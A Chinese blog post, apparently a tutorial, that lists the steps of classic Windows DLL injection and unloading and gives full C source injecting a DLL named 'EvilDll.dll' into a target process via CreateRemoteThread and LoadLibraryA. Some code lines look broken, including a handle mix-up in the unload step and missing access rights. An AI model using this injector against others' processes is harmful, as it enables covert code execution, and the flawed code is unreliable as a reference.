Dll注入经典方法完整版

时间:2022-12-15 01:29:57

Pnig0s1992:算是复习了,最经典的教科书式的Dll注入。

总结一下基本的注入过程,分注入和卸载

注入Dll:

1,OpenProcess获得要注入进程的句柄

2,VirtualAllocEx在远程进程中开辟出一段内存,长度为strlen(dllname)+1;

3,WriteProcessMemory将Dll的名字写入第二步开辟出的内存中。

4,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程

5,CloseHandle关闭线程句柄

卸载Dll:

1,CreateRemoteThread将GetModuleHandle注入到远程进程中,参数为被注入的Dll名

2,GetExitCodeThread将线程退出的退出码作为Dll模块的句柄值。

3,CloseHandle关闭线程句柄

3,CreateRemoteThread将FreeLibraryA注入到远程进程中,参数为第二步获得的句柄值。

4,WaitForSingleObject等待对象句柄返回

5,CloseHandle关闭线程及进程句柄。

  
 
 
  1. //Code By Pnig0s1992 
  2. //Date:2012,3,13 
  3. #include <stdio.h> 
  4. #include <Windows.h> 
  5. #include <TlHelp32.h> 
  6.  
  7.  
  8. DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID 
  9.     DWORD dwRet = 0; 
  10.     HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
  11.     if(hSnapShot == INVALID_HANDLE_VALUE) 
  12.     { 
  13.         printf("\n获得进程快照失败%d",GetLastError()); 
  14.         return dwRet; 
  15.     } 
  16.  
  17.     PROCESSENTRY32 pe32;//声明进程入口对象 
  18.     pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小 
  19.     Process32First(hSnapShot,&pe32);//遍历进程列表 
  20.     do  
  21.     { 
  22.         if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定进程名的PID 
  23.         { 
  24.             dwRet = pe32.th32ProcessID; 
  25.             break
  26.         } 
  27.     } while (Process32Next(hSnapShot,&pe32)); 
  28.     CloseHandle(hSnapShot); 
  29.     return dwRet;//返回 
  30.  
  31. INT main(INT argc,CHAR * argv[]) 
  32.     DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); 
  33.     LPCSTR lpDllName = "EvilDll.dll"
  34.     HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); 
  35.     if(hProcess == NULL) 
  36.     { 
  37.         printf("\n获取进程句柄错误%d",GetLastError()); 
  38.         return -1; 
  39.     } 
  40.     DWORD dwSize = strlen(lpDllName)+1;  
  41.     DWORD dwHasWrite; 
  42.     LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); 
  43.     if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) 
  44.     { 
  45.         if(dwHasWrite != dwSize) 
  46.         { 
  47.             VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); 
  48.             CloseHandle(hProcess); 
  49.             return -1; 
  50.         } 
  51.  
  52.     }else 
  53.     { 
  54.         printf("\n写入远程进程内存空间出错%d。",GetLastError()); 
  55.         CloseHandle(hProcess); 
  56.         return -1; 
  57.     } 
  58.  
  59.     DWORD dwNewThreadId; 
  60.     LPVOID lpLoadDll = LoadLibraryA; 
  61.     HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); 
  62.     if(hNewRemoteThread == NULL) 
  63.     { 
  64.         printf("\n建立远程线程失败%d",GetLastError()); 
  65.         CloseHandle(hProcess); 
  66.         return -1; 
  67.     } 
  68.  
  69.     WaitForSingleObject(hNewRemoteThread,INFINITE); 
  70.     CloseHandle(hNewRemoteThread); 
  71.  
  72.     //准备卸载之前注入的Dll 
  73.     DWORD dwHandle,dwID; 
  74.     LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄 
  75.     HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); 
  76.     WaitForSingleObject(hThread,INFINITE); 
  77.     GetExitCodeThread(hThread,&dwHandle);//线程的结束码即为Dll模块儿的句柄 
  78.     CloseHandle(hThread); 
  79.     pFunc = FreeLibrary; 
  80.     hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //将FreeLibraryA注入到远程线程中去卸载Dll 
  81.     WaitForSingleObject(hThread,INFINITE); 
  82.     CloseHandle(hThread); 
  83.     CloseHandle(hProcess); 
  84.     return 0; 

 

本文出自 “About:Blank H4cking” 博客,请务必保留此出处http://pnig0s1992.blog.51cto.com/393390/804484